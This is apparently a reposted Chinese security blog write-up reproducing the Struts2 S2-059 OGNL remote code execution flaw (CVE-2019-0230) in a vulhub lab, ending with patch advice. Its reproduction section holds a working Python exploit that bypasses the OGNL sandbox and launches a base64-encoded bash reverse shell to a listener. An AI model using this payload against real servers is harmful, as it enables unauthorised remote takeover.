struts2 s2-059远程代码执行漏洞(CVE-2019-0230)
2020-12-11 16:30:19 Author: www.freebuf.com(查看原文) 阅读量:150 收藏

在前几个月的时间里struts2爆出了s2-059预警,最近又出现了s2-061,S2-061和S2-059的OGNL表达执行触发方式一样。S2-059的修复方式为只修复了沙盒绕过并没有修复OGNL表达式执行点,因为这个表达式执行触发条件过于苛刻,而S2-061再次绕过了S2-059的沙盒。在这里我用s2-059进行测试。

1.简介

Struts2 是 Apache 软件组织推出的一个相当强大的 Java Web 开源框架,本质上相当于一个 servlet。Struts2 基于 MVC 架构,框架结构清晰。通常作为控制器(Controller)来建立模型与视图的数据交互,用于创建企业级 Java web 应用程序,它利用并延伸了Java Servlet API,鼓励开发者采用MVC架构。Struts2以WebWork优秀的设计思想为核心,吸收了Struts框架的部分优点,提供了一个更加整洁的MVC设计模式实现的Web应用程序框架。

2.漏洞概述

2020年08月13日,Apache官方发布了Struts2远程代码执行漏洞的风险通告,该漏洞编号为CVE-2019-0230,漏洞等级:高危,漏洞评分:8.5

漏洞产生的主要原因是因为Apache Struts框架在强制执行时,会对分配给某些标签属性(如id)的属性值执行二次ognl解析。攻击者可以通过构造恶意的OGNL表达式,并将其设置到可被外部输入进行修改,且会执行OGNL表达式的Struts2标签的属性值,引发OGNL表达式解析,最终造成远程代码执行的影响。

3.影响版本

Apache Struts2:2.0.0-2.5.20

4.环境搭建

4.1本次漏洞环境使用vulhub快速搭建,vulhub下载地址如下:

将vulhub-master.zip解压后复制到kali里。

cd vulhub-master/


cd  struts/


cd  s2-059


4.2使用docker-compose快速构建靶场环境。

docker-compose build

docker-compose up -d


4.3启动完成后在浏览器访问http://ip:8080/ 就可以看到测试界面。


5.漏洞复现

5.1在浏览器访问http://ip:8080/?id=%25{2*5},可以发现执行的2*5成功被解析了,会执行OGNL表达式的Struts2标签的属性值,引发OGNL表达式解析。


5.2使用poc来反弹shell,反弹shell的payload需要使用base64编码。

bash -i >& /dev/tcp/192.168.169.130/6666 0>&1

base64编码网址:

http://www.jackson-t.ca/runtime-exec-payloads.html


5.3kali里执行nc -lvvp 6666进行监听。


5.4将payload修改为自己的payload后复制到文本里,重命名为1.py。利用python运行。

import requests url = "http://127.0.0.1:8080" data1 = {     "id": "%{(#context=#attr['struts.valueStack'].context).(#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.setExcludedClasses('')).(#ognlUtil.setExcludedPackageNames(''))}" } data2 = {     "id": "%{(#context=#attr['struts.valueStack'].context).(#context.setMemberAccess(@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS)).(@java.lang.Runtime@getRuntime().exec('bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjE2OS4xMzAvNjY2NiAwPiYx}|{base64,-d}|{bash,-i}'))}" } res1 = requests.post(url, data=data1)

res2 = requests.post(url, data=data2)



5.5反弹shell



6.修复建议

6.1升级到Struts 2.5.22或更高版本。

6.2开启ONGL表达式注入保护措施。

https://struts.apache.org/security/#proactively-protect-from-ognl-expression-injections-attacks-if-easily-applicable


文章来源: https://www.freebuf.com/vuls/257494.html
如有侵权请联系:admin#unsafe.sh